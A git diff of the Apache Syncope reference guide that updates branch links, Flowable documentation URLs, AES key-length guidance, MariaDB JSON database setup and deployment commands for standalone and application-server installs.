attribute value(s) for this schema can only be read, or whether they can be written to as well [[virtual-attribute-cache]] @@ -117,7 +117,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/cache/VirAttrCache.java[VirAttrCache^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/cache/VirAttrCache.java[VirAttrCache^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/cache/VirAttrCache.java[VirAttrCache^] endif::[] interface, and is configurable. @@ -131,7 +131,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/cache/CaffeineVirAttrCache.java[CaffeineVirAttrCache^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/cache/CaffeineVirAttrCache.java[CaffeineVirAttrCache^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/cache/CaffeineVirAttrCache.java[CaffeineVirAttrCache^] endif::[] | In-memory cache based on https://github.com/ben-manes/caffeine[Caffeine Cache^]. @@ -140,7 +140,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/cache/DisabledVirAttrCache.java[DisabledVirAttrCache^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/cache/DisabledVirAttrCache.java[DisabledVirAttrCache^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/cache/DisabledVirAttrCache.java[DisabledVirAttrCache^] endif::[] | Pass-through cache which actually does not provide any caching: use when direct access to the Identity Store is required. @@ -151,7 +151,7 @@ endif::[] Any type classes are aggregations of plain, derived and virtual schemas, provided with unique identifiers. -Classes can be assigned to <> and are also available as auxiliary (hence to be specified on a +Classes can be assigned to <> and are also available as auxiliary (hence to be specified on a given user / group / any object instance) and for <>. ==== AnyType @@ -289,9 +289,18 @@ The following any object of type `PRINTER` contains a relationship of type `neig ], "relationships": [ { - "type": "neighbourhood", - "rightType": "PRINTER", - "rightKey": "8559d14d-58c2-46eb-a2d4-a7d35161e8f8" + "type": "neighborhood", + "end": "LEFT", + "otherEndType": "PRINTER", + "otherEndKey": "8559d14d-58c2-46eb-a2d4-a7d35161e8f8", + "otherEndName": "Canon MF 8030cn" + }, + { + "type": "neighborhood", + "end": "RIGHT", + "otherEndType": "USER", + "otherEndKey": "c9b2dec2-00a7-4855-97c0-d854842b4b24", + "otherEndName": "bellini" } ] } diff --git a/src/main/asciidoc/reference-guide/concepts/workflow.adoc b/src/main/asciidoc/reference-guide/concepts/workflow.adoc index 69e7ec5e777..a75f9237acf 100644 --- a/src/main/asciidoc/reference-guide/concepts/workflow.adoc +++ b/src/main/asciidoc/reference-guide/concepts/workflow.adoc @@ -35,19 +35,19 @@ ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java[UserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java[UserWorkflowAdapter^] +* https://github.com/apache/syncope/blob/3_0_X/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java[UserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/GroupWorkflowAdapter.java[GroupWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/GroupWorkflowAdapter.java[GroupWorkflowAdapter^] +* https://github.com/apache/syncope/blob/3_0_X/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/GroupWorkflowAdapter.java[GroupWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/AnyObjectWorkflowAdapter.java[AnyObjectWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/AnyObjectWorkflowAdapter.java[AnyObjectWorkflowAdapter^] +* https://github.com/apache/syncope/blob/3_0_X/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/AnyObjectWorkflowAdapter.java[AnyObjectWorkflowAdapter^] endif::[] Default implementations are available: @@ -56,19 +56,19 @@ ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] +* https://github.com/apache/syncope/blob/3_0_X/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java[DefaultGroupWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java[DefaultGroupWorkflowAdapter^] +* https://github.com/apache/syncope/blob/3_0_X/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java[DefaultGroupWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java[DefaultAnyObjectWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java[DefaultAnyObjectWorkflowAdapter^] +* https://github.com/apache/syncope/blob/3_0_X/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java[DefaultAnyObjectWorkflowAdapter^] endif::[] Custom adapters can be provided by implementing the related interfaces, also as bridges towards third-party tools as @@ -86,14 +86,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] +https://github.com/apache/syncope/tree/3_0_X/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] endif::[] . No approval nor customizations needed? Stick with ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] +https://github.com/apache/syncope/tree/3_0_X/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java[DefaultUserWorkflowAdapter^] endif::[] ==== @@ -107,25 +107,24 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java[FlowableUserWorkflowAdapter^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java[FlowableUserWorkflowAdapter^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java[FlowableUserWorkflowAdapter^] endif::[] is bootstrapped from ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/flowable-bpmn/src/main/resources/userWorkflow.bpmn20.xml[userWorkflow.bpmn20.xml^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/flowable-bpmn/src/main/resources/userWorkflow.bpmn20.xml[userWorkflow.bpmn20.xml^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/flowable-bpmn/src/main/resources/userWorkflow.bpmn20.xml[userWorkflow.bpmn20.xml^] endif::[] and presents several advantages and more features, if compared to the default user adapter: . Besides mandatory statuses, which are modeled as BPMN `userTask` instances, more can be freely added at runtime, provided that adequate transitions and conditions are also inserted; more details about available BPMN -constructs are available in the https://www.flowable.org/docs/userguide/index.html#bpmnConstructs[Flowable User Guide^]. + +constructs are available in the https://www.flowable.com/open-source/docs/bpmn/ch07b-BPMN-Constructs[Flowable User Guide^]. + Additional statuses and transitions allow the internal processes of Apache Syncope to better adapt to suit organizational flows. . Custom logic can be injected into the workflow process by providing BPMN `serviceTask` instances. -. https://www.flowable.org/docs/userguide/index.html#forms[Flowable forms^] are used for implementing <>. -. The https://www.flowable.org/docs/userguide/index.html#flowableModelerApp[Flowable Modeler^] is available with the -<>, thus allowing web-based graphical modeling of the workflow definition. +. Flowable forms are used for implementing <>. +. <> supports web-based graphical modeling of the workflow definition. [.text-center] image::userWorkflow.png[title="Default Flowable user workflow",alt="Default Flowable user workflow"] @@ -139,7 +138,7 @@ might not be allowed to 'plain' Users, as there could be conditions which requir Managers could also be asked to complete the information provided before the requested operation is finished. In order to define an approval form, a dedicated BPMN `userTask` needs to be defined, following the rules established -for https://www.flowable.org/docs/userguide/index.html#forms[Flowable forms^]. +for Flowable forms. [NOTE] .What is required for administrators to manage approval? @@ -153,7 +152,7 @@ The following conditions must be met, for an User `U` to act as administrator fo .. `USER_READ` . The BPMN `userTask` must either indicate `U` among `candidateUsers` or at least one of the groups assigned to `U` among `candidateGroups`, as required by -https://www.flowable.org/docs/userguide/index.html#bpmnUserTaskUserAssignmentExtension[Flowable's task assignment rules^] +https://www.flowable.com/open-source/docs/bpmn/ch07b-BPMN-Constructs#flowable-extensions-for-task-assignment[Flowable's task assignment rules^] The special super-user `admin` is entitled to manage all approvals, even those not specifying any `candidateUsers` or `candidateGroups`. @@ -162,8 +161,8 @@ The special super-user `admin` is entitled to manage all approvals, even those n [[sample-selfreg-approval]] .Approving self-registration ==== -The snippet below shows how to define an approval form in XML; the same operation can be performed via the -https://www.flowable.org/docs/userguide/index.html#flowableModelerApp[Flowable Modeler^]. +The snippet below shows how to define an approval form in XML; the same operation can be performed via the GUI editor +provided by <>. [source,xml] ---- @@ -209,8 +208,8 @@ which might also include one or more <> steps. [[sample-user-request]] .Assigning printer to user ==== -The BPMN process below shows how to define an user request in XML; the same operation can be performed via the -https://www.flowable.org/docs/userguide/index.html#flowableModelerApp[Flowable Modeler^]. +The BPMN process below shows how to define an user request in XML; the same operation can be performed via the GUI +editor provided by <>. In this user request definition: @@ -258,15 +257,14 @@ In this user request definition: ---- <1> the first form defined is self-assigned to the user which has started this request -<2> the `dropdown` type is a Syncope extension of the -https://www.flowable.org/docs/userguide/index.html#formProperties[form property types supported by Flowable^] +<2> the `dropdown` type is a Syncope extension of the form property types supported by Flowable and allows to inject a list of elements via the `dropdownValueProvider` value (with name `printersValueProvider` in this sample), which must be a Spring bean implementing the ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/DropdownValueProvider.java[DropdownValueProvider^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/DropdownValueProvider.java[DropdownValueProvider^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/DropdownValueProvider.java[DropdownValueProvider^] endif::[] interface <3> the second form is a traditional approval form, as seen <> @@ -275,7 +273,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/task/FlowableServiceTask.java[FlowableServiceTask^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/task/FlowableServiceTask.java[FlowableServiceTask^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/task/FlowableServiceTask.java[FlowableServiceTask^] endif::[] implementation which takes care of establishing the relationship ==== diff --git a/src/main/asciidoc/reference-guide/configuration/configurationparameters.adoc b/src/main/asciidoc/reference-guide/configuration/configurationparameters.adoc index 474a17655ad..8fdfeed4eea 100644 --- a/src/main/asciidoc/reference-guide/configuration/configurationparameters.adoc +++ b/src/main/asciidoc/reference-guide/configuration/configurationparameters.adoc @@ -25,12 +25,16 @@ Most run-time configuration options are available as parameters and can be tuned algorithms include `SHA-1`, `SHA-256`, `SHA-512`, `AES`, `S-MD5`, `S-SHA-1`, `S-SHA-256`, `S-SHA-512` and `BCRYPT`; salting options are available in the `core.properties` file; [WARNING] -The value of the `security.secretKey` property in the `core.properties` file is used for AES-based encryption / decryption. -Besides password values, this is also used whenever reversible encryption is needed, throughout the whole system. + -When the `secretKey` value has length less than 16, it is right-padded by random characters during startup, to reach -such mininum value. + -It is *strongly* recommended to provide a value long at least 16 characters, in order to avoid unexpected behaviors -at runtime, expecially with high-availability. +The value of the `security.aesSecretKey` property in the `core.properties` file is used for AES-based encryption / +decryption: besides password values, this is also used whenever reversible encryption is needed, throughout the whole +system. + +The actual length of the `security.aesSecretKey` value is used to drive the AES algorithm variant selection: +16 characters implies `AES-128`, 24 selects `AES-192` and 32 configures `AES-256`. + +When the `security.aesSecretKey` value has length less than 16, between 17 and 23 or between 25 and 31, it is +right-padded by random characters during startup, to reach the nearest option. If the specified value is instead longer +than 32 characters, it is truncated to 32. + +It is *strongly* recommended to provide a value long exactly 16, 24 or 32 characters, in order to avoid unexpected +behaviors at runtime, expecially with high-availability. * `jwt.lifetime.minutes` - validity of https://en.wikipedia.org/wiki/JSON_Web_Token[JSON Web Token^] values used for <> (in minutes); * `notificationjob.cronExpression` - diff --git a/src/main/asciidoc/reference-guide/configuration/connectorbundles.adoc b/src/main/asciidoc/reference-guide/configuration/connectorbundles.adoc index 757160f5713..15c4323d9a5 100644 --- a/src/main/asciidoc/reference-guide/configuration/connectorbundles.adoc +++ b/src/main/asciidoc/reference-guide/configuration/connectorbundles.adoc @@ -41,14 +41,14 @@ bundle's version. If you want your own project to use a different version of a given connector bundle, all you need to do is to override the related property in your own project's root pom.xml. -Hence, supposing that you would like to use `net.tirasa.connid.bundles.db.table` version `2.2.8-SNAPSHOT` rather than -`2.2.7` shipped with Apache Syncope, add the following property to your own project's root `pom.xml`: +Hence, supposing that you would like to use `net.tirasa.connid.bundles.db` version `3.0.0-SNAPSHOT` rather than +the one with version shipped with Apache Syncope, add the following property to your own project's root `pom.xml`: [source,xml] .... ... - 2.2.8-SNAPSHOT + 3.0.0-SNAPSHOT .... diff --git a/src/main/asciidoc/reference-guide/configuration/dbms.adoc b/src/main/asciidoc/reference-guide/configuration/dbms.adoc index 51d9548b6c8..9c815bf61ec 100644 --- a/src/main/asciidoc/reference-guide/configuration/dbms.adoc +++ b/src/main/asciidoc/reference-guide/configuration/dbms.adoc @@ -233,10 +233,88 @@ for the Core application. [CAUTION] It is important to set the collation to `utf8_general_ci` after creation of `syncope` database. +[WARNING] +==== +It is necessary to use `utf8mb4_unicode_ci` instead of `utf8mb4_general_ci` if case-sensitive queries are required. +In this case, set +.... +init_connect = "SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci" +.... +under either the `[mysqld]` section or the `[mariadb]` section of your +https://mariadb.com/kb/en/configuring-mariadb-with-option-files/[option file^]. +==== + [WARNING] This assumes that you have a MariaDB instance running on localhost, listening on its default port 3306 with a database `syncope` fully accessible by user `syncope` with password `syncope`. +==== MariaDB (JSON) + +[NOTE] +With the configurations reported below, Apache Syncope will leverage the +https://mariadb.com/kb/en/json_table/[JSON_TABLE^] function. + +[NOTE] +Apache Syncope {docVersion} is verified with MariaDB server >= {mariadb} and JDBC driver >= {mariadbJDBC}. + +Add the following dependency to `core/pom.xml`: + +[source,xml,subs="verbatim,attributes"] +---- + + org.apache.syncope.core + syncope-core-persistence-jpa-json + ${syncope.version} + +---- + +Create + +[source] +.... +persistence.indexesXML=classpath:majson/indexes.xml +persistence.viewsXML=classpath:majson/views.xml + +persistence.domain[0].key=Master +persistence.domain[0].jdbcDriver=org.mariadb.jdbc.Driver +persistence.domain[0].jdbcURL=jdbc:mariadb://localhost:3306/syncope?characterEncoding=UTF-8 +persistence.domain[0].dbUsername=root +persistence.domain[0].dbPassword=password +persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.MariaDBDictionary(blobTypeName=LONGBLOB,dateFractionDigits=3) +persistence.domain[0].orm=META-INF/spring-orm-majson.xml +persistence.domain[0].auditSql=audit_majson.sql +persistence.domain[0].poolMaxActive=10 +persistence.domain[0].poolMinIdle=2 + +provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.StdJDBCDelegate +provisioning.quartz.sql=tables_mariadb.sql +.... + +as `core/src/main/resources/core-majson.properties`. + +Do not forget to include `majson` as +https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/features.html#features.profiles.adding-active-profiles[Spring Boot profile^] +for the Core application. + +[CAUTION] +It is important to set the collation to `utf8_general_ci` after creation of `syncope` database. + +[WARNING] +==== +It is necessary to use `utf8mb4_unicode_ci` instead of `utf8mb4_general_ci` if case-sensitive queries are required. +In this case, set +.... +init_connect = "SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci" +.... +under either the `[mysqld]` section or the `[mariadb]` section of your +https://mariadb.com/kb/en/configuring-mariadb-with-option-files/[option file^]. +==== + +[WARNING] +This assumes that you have a MariaDB instance running on localhost, listening on its default port 3306 with a database +`syncope` and super-admin user `root` with password `password`. +Super-admin user is required until https://jira.mariadb.org/browse/MDEV-27898[this bug^] is fixed. + ==== Oracle Database [NOTE] @@ -249,7 +327,7 @@ Create persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=jdbc:oracle:thin:@localhost:1521:XE -persistence.domain[0].schema=SYNCOPE +persistence.domain[0].dbSchema=SYNCOPE persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=syncope persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary @@ -304,7 +382,7 @@ persistence.viewsXML=classpath:ojson/views.xml persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=jdbc:postgresql://${DB_CONTAINER_IP}:5432/syncope?stringtype=unspecified -persistence.domain[0].schema=SYNCOPE +persistence.domain[0].dbSchema=SYNCOPE persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=syncope persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary @@ -339,7 +417,7 @@ Create persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=com.microsoft.sqlserver.jdbc.SQLServerDriver persistence.domain[0].jdbcURL=jdbc:sqlserver://localhost:1433;databaseName=syncope -persistence.domain[0].schema=dbo +persistence.domain[0].dbSchema=dbo persistence.domain[0].dbUsername=syncope persistence.domain[0].dbPassword=Syncope123 persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.SQLServerDictionary diff --git a/src/main/asciidoc/reference-guide/configuration/deployment.adoc b/src/main/asciidoc/reference-guide/configuration/deployment.adoc index fdd11b19e4a..bbab290fc07 100644 --- a/src/main/asciidoc/reference-guide/configuration/deployment.adoc +++ b/src/main/asciidoc/reference-guide/configuration/deployment.adoc @@ -46,36 +46,35 @@ where `` can be either: ==== Standalone -Projects generated from Maven archetype feature a dedicated `executable` profile, which will re-package all -applications according to Spring Boot's -https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/executable-jar.html[executable format^]. +Projects generated from Maven archetype feature a dedicated `standalone` profile, which will re-package all +applications as standalone fat JAR or WAR files. [TIP] Spring Boot applications can also be https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/deployment.html#deployment.installing[installed as system services^]. -.Run Core application as executable under GNU / Linux +.Run Core application as standalone under GNU / Linux ==== Assuming that the JDBC driver JAR file for the configured <> is available under `/opt/syncope/lib`, the Core application can be built and run as follows: [source,bash] ---- -$ mvn -P executable clean verify \ - -Dconf.directory=/opt/syncope/conf \ - -Dbundles.directory=/opt/syncope/bundles \ - -Dlog.directory=/opt/syncope/log +$ mvn -P standalone clean verify $ cp core/target/syncope.war /opt/syncope/lib $ cp core/target/classes/*properties /opt/syncope/conf -$ export LOADER_PATH=/opt/syncope/conf,/opt/syncope/lib -$ java -jar /opt/syncope/lib/syncope.war +$ export LOADER_PATH=/opt/syncope/conf,/opt/syncope/lib,BOOT-INF/classes/WEB-INF/classes +$ java -Dsyncope.conf.dir=/opt/syncope/conf \ + -Dsyncope.connid.location=file:/opt/syncope/bundles \ + -Dsyncope.log.dir=/opt/syncope/log \ + -jar /opt/syncope/lib/syncope.war ---- Further options can be passed to last command, according to Spring Boot https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/application-properties.html#appendix.application-properties[documentation^]; for example: -* `--spring.config.location=/path` + +* `--spring.config.additional-location=/path` + to customize the location of the configuration files * `--server.port=8080` + to change the default HTTP port @@ -114,6 +113,10 @@ On GNU / Linux - Mac OS X, create `$CATALINA_HOME/bin/setenv.sh` with similar co .... JAVA_OPTS="-Djava.awt.headless=true -Dfile.encoding=UTF-8 -server \ +-Dsyncope.conf.dir=/opt/syncope/conf \ +-Dsyncope.connid.location=file:/opt/syncope/bundles \ +-Dsyncope.log.dir=/opt/syncope/log \ +-Dwicket.ioc.useByteBuddy=true \ -Xms1536m -Xmx1536m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC \ -Djava.security.egd=file:/dev/./urandom" .... @@ -121,7 +124,11 @@ JAVA_OPTS="-Djava.awt.headless=true -Dfile.encoding=UTF-8 -server \ On MS Windows, create `%CATALINA_HOME%\bin\setenv.bat` with similar content (keep everything on a single line): .... -set JAVA_OPTS=-Djava.awt.headless=true -Dfile.encoding=UTF-8 -server +set JAVA_OPTS=-Djava.awt.headless=true -Dfile.encoding=UTF-8 -server \ +-Dsyncope.conf.dir=C:\opt\syncope\conf \ +-Dsyncope.connid.location=file:/C:\opt\syncope\bundles \ +-Dsyncope.log.dir=C:\opt\syncope\log \ +-Dwicket.ioc.useByteBuddy=true \ -Xms1536m -Xmx1536m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC .... @@ -181,13 +188,24 @@ When using a datasource for internal storage, be sure to add right after `` in `core/src/main/webapp/WEB-INF/glassfish-web.xml`, assuming that your Payara Server instance provides a datasource named `jdbc/syncopeMasterDataSource`. +[WARNING] +==== +Do not forget to include the following system properties: + +* `-Dsyncope.conf.dir=/opt/syncope/conf` + +(required by Core and WA) +* `-Dsyncope.connid.location=file:/opt/syncope/bundles` + +(required by Core) +* `-Dsyncope.log.dir=/opt/syncope/log` + +(required by all components) +==== + [TIP] ==== -For better performance under GNU / Linux, do not forget to include +For better performance under GNU / Linux, do not forget to include the system property: .... -Djava.security.egd=file:/dev/./urandom .... -among JVM options. ==== ==== Wildfly 26 @@ -272,11 +290,22 @@ Do not forget to include `widlfly` as https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/features.html#features.profiles.adding-active-profiles[Spring Boot profile^] for the Core application. +[WARNING] +==== +Do not forget to include the following system properties: + +* `-Dsyncope.conf.dir=/opt/syncope/conf` + +(required by Core and WA) +* `-Dsyncope.connid.location=file:/opt/syncope/bundles` + +(required by Core) +* `-Dsyncope.log.dir=/opt/syncope/log` + +(required by all components) +==== + [TIP] ==== -For better performance under GNU / Linux, do not forget to include +For better performance under GNU / Linux, do not forget to include the system property: .... -Djava.security.egd=file:/dev/./urandom .... -among JVM options. ==== diff --git a/src/main/asciidoc/reference-guide/configuration/highavailability.adoc b/src/main/asciidoc/reference-guide/configuration/highavailability.adoc index 5974410f11d..4cb69194def 100644 --- a/src/main/asciidoc/reference-guide/configuration/highavailability.adoc +++ b/src/main/asciidoc/reference-guide/configuration/highavailability.adoc @@ -23,7 +23,7 @@ When deploying multiple Syncope <> instances with a single database or database cluster, it is of fundamental importance that the contained OpenJPA instances are correctly configured for -http://openjpa.apache.org/builds/3.1.2/apache-openjpa/docs/ref_guide_event.html[remote event notification^]. + +https://openjpa.apache.org/builds/3.2.2/apache-openjpa/docs/ref_guide_event.html[remote event notification^]. + Such configuration, in fact, allows the OpenJPA data cache to remain synchronized when deployed in multiple JVMs, thus enforcing data consistency across all Syncope Core instances. @@ -34,24 +34,24 @@ The default configuration in `core.properties` is persistence.remoteCommitProvider=sjvm .... -which is suited for single JVM installations; with multiple instances, more options like as TCP or JMS are available; -see the OpenJPA documentation for reference. +which is suited for single JVM installations; with multiple instances, more options like as TCP, JMS or Kubernetes +are available; see the OpenJPA documentation for reference. [WARNING] ==== -The http://openjpa.apache.org/builds/3.1.2/apache-openjpa/docs/ref_guide_event.html[OpenJPA documentation^]'s XML +The https://openjpa.apache.org/builds/3.2.2/apache-openjpa/docs/ref_guide_event.html[OpenJPA documentation^]'s XML snippets refer to a different configuration style; for example, when used in `core.properties`, this: [source,xml] .... - + .... becomes: [source] .... -persistence.remoteCommitProvider=tcp(Addresses=10.0.1.10;10.0.1.11) +persistence.remoteCommitProvider=tcp(Addresses=10.0.1.10;10.0.1.11,TransmitPersistedObjectIds=true) .... ==== @@ -60,7 +60,7 @@ persistence.remoteCommitProvider=tcp(Addresses=10.0.1.10;10.0.1.11) The http://www.quartz-scheduler.org[Quartz^] scheduler is largely used within <> to schedule the execution of jobs, including <>, <>, <>, <> and -<> tasks, and <>. +<> tasks, and <>. By default, Quartz is configured for http://www.quartz-scheduler.org/documentation/quartz-2.2.x/configuration/ConfigJDBCJobStoreClustering.html[clustering^], diff --git a/src/main/asciidoc/reference-guide/howto/importexport.adoc b/src/main/asciidoc/reference-guide/howto/importexport.adoc index 9a05aeef1b3..95d863cb8bd 100644 --- a/src/main/asciidoc/reference-guide/howto/importexport.adoc +++ b/src/main/asciidoc/reference-guide/howto/importexport.adoc @@ -23,13 +23,13 @@ schemas, connectors, resources, mapping, roles, groups, tasks and other paramete During the implementation phase of an Apache Syncope-based project, it might be useful to move such configuration back and forth from one Apache Syncope instance to another (say developer's laptop and production server). + -One option is clearly to act at a low level by empowering DBMS' dump & restore capabilities, but what if the developer is -running MySQL (or even in-memory H2) while the sysadmin features Oracle? +One option is clearly to act at a low level by empowering DBMS' dump & restore capabilities, but what if the developer +is running MySQL (or even in-memory H2) while the sysadmin features Oracle? [CAUTION] .Wipe existing content ===== -When not running in-memory H2, the internal storage's content must be wiped before starting Apache Syncope, otherwise +When not running in-memory H2, the internal storage's data must be wiped before starting Apache Syncope, otherwise the provided content will be just ignored. Check `core-persistence.log` for message @@ -69,9 +69,11 @@ http://curl.haxx.se/[curl^], for example: .... curl -X GET -u admin:password -o MasterContent.xml \ - http://localhost:9080/syncope/rest/configurations/stream + http://localhost:9080/syncope/rest/configurations/stream?tableThreshold=100 .... +where `tableThreshold` indicates the maximum number of rows to take for each table of internal storage. + ==== Import Basically, all you need to do is to replace the local `MasterContent.xml` with the one exported as explained above; this diff --git a/src/main/asciidoc/reference-guide/howto/keystore.adoc b/src/main/asciidoc/reference-guide/howto/keystore.adoc index 70152dc27a0..9584785b7e4 100644 --- a/src/main/asciidoc/reference-guide/howto/keystore.adoc +++ b/src/main/asciidoc/reference-guide/howto/keystore.adoc @@ -115,8 +115,7 @@ The keystore file `saml2sp4ui.jks` can now be placed in the <> as well as -<>, for all <> that are defined. +<>, for all <> that are defined. 